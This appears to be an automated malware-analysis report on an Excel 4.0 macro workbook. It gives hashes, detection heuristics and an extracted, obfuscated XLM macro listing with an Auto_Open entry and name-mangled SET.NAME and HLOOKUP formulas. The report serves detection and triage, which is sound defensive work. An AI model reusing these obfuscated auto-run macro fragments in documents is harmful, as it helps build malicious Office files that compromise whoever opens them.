Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e43540318a0467bf…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-27 11:41:58 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: c2aa3e061c6b4bc21c5f65638f09d057 SHA-1: ed2e2e8fac51d48857fcf812aa458575e4c40ead SHA-256: e43540318a0467bf08fb441ecbeae1816e0ef6b4602ba306e55a2757924ddb9d
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6874 bytes
SHA-256: 394dce374c700f169e7e9212b0a1961c94db03d20c4cd9b66c9f8675133bf1ec
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 38 identifiers look randomly generated (e.g. 'kFEqJppxMnWU') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kTESSLmsm
' 0018     20 LABEL : Cell Value, String Constant - aPUip len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H130 
' 0018     24 LABEL : Cell Value, String Constant - dhmRzILbg len=0 
' 0018     26 LABEL : Cell Value, String Constant - djJyuEfTsak len=0 
' 0018     20 LABEL : Cell Value, String Constant - GBfcC len=0 
' 0018     21 LABEL : Cell Value, String Constant - JxTEqF len=0 
' 0018     27 LABEL : Cell Value, String Constant - kFEqJppxMnWU len=0 
' 0018     25 LABEL : Cell Value, String Constant - KstGYFYCJi len=0 
' 0018     22 LABEL : Cell Value, String Constant - MytPpQq len=0 
' 0018     22 LABEL : Cell Value, String Constant - pJBhVva len=0 
' 0018     25 LABEL : Cell Value, String Constant - qjpVwYOOaj len=0 
' 0018     21 LABEL : Cell Value, String Constant - qPxBCC len=0 
' 0018     23 LABEL : Cell Value, String Constant - QviYStWG len=0 
' 0018     27 LABEL : Cell Value, String Constant - slVLaPvFTHiv len=0 
' 0018     24 LABEL : Cell Value, String Constant - TfEUWTKsJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - uySzSNPs len=0 
' 0018     21 LABEL : Cell Value, String Constant - wOrnzS len=0 
' 0018     22 LABEL : Cell Value, String Constant - wQtMquY len=0 
' 0018     26 LABEL : Cell Value, String Constant - WsbxhpbAHfH len=0 
' 0018     22 LABEL : Cell Value, String Constant - XQTGTDV len=0 
' 0018     24 LABEL : Cell Value, String Constant - zBazoOgeW len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kTESSLmsm,H44,"SET.NAME("aPUip",0+VALUE("0"))",""
'  kTESSLmsm,H47,"SET.NAME("XQTGTDV",aPUip)",""
'  kTESSLmsm,P49,"",565.00000000000000000000
'  kTESSLmsm,H50,"SET.NAME("QviYStWG",aPUip)",""
'  kTESSLmsm,P50,"",757.00000000000000000000
'  kTESSLmsm,P51,"",56.00000000000000000000
'  kTESSLmsm,P52,"",491.00000000000000000000
'  kTESSLmsm,H53,"SET.NAME("wOrnzS",COUNTA(wQtMquY))",""
'  kTESSLmsm,P53,"",-776.00000000000000000000
'  kTESSLmsm,P54,"",594.00000000000000000000
'  kTESSLmsm,H55,"SET.NAME("qPxBCC",COUNTA(TfEUWTKsJ))",""
'  kTESSLmsm,H58,[],""
'  kTESSLmsm,H62,"SET.NAME("qjpVwYOOaj","")",""
'  kTESSLmsm,H64,"XQTGTDV",""
'  kTESSLmsm,H68,"SET.NAME("GBfcC",HLOOKUP("*",wQtMquY,XQTGTDV,FALSE))",""
'  kTESSLmsm,H73,"dhmRzILbg",""
'  kTESSLmsm,H75,"SET.NAME("pJBhVva",aPUip)",""
'  kTESSLmsm,H80,[],""
'  kTESSLmsm,H82,"pJBhVva",""
'  kTESSLmsm,H87,"slVLaPvFTHiv",""
'  kTESSLmsm,H89,"zBazoOgeW",""
'  kTESSLmsm,H91,"WsbxhpbAHfH",""
'  kTESSLmsm,H93,"SET.NAME("MytPpQq",VALUE(HLOOKUP("*",TfEUWTKsJ,WsbxhpbAHfH,FALSE)))",""
'  kTESSLmsm,H97,"kFEqJppxMnWU",""
'  kTESSLmsm,H99,"qjpVwYOOaj",""
'  kTESSLmsm,H102,"QviYStWG",""
'  kTESSLmsm,H107,NEXT(),""
'  kTESSLmsm,H111,"uySzSNPs",""
'  kTESSLmsm,H116,[],""
'  kTESSLmsm,H119,"KstGYFYCJi",""
'  kTESSLmsm,H124,NEXT(),""
'  kTESSLmsm,H128,RETURN(),""
'  kTESSLmsm,H152,"SET.NAME("djJyuEfTsak",H44)",""
'  kTESSLmsm,H155,"wQtMquY",""
'  kTESSLmsm,H159,"SET.NAME("TfEUWTKsJ",R49C12)",""
'  kTESSLmsm,H164,"SET.NAME("KstGYFYCJi",171)",""
'  kTESSLmsm,H168,"SET.NAME("JxTEqF",8)",""
'  kTESSLmsm,H170,djJyuEfTsak(),""
'  kTESSLmsm,H171,HALT(),""

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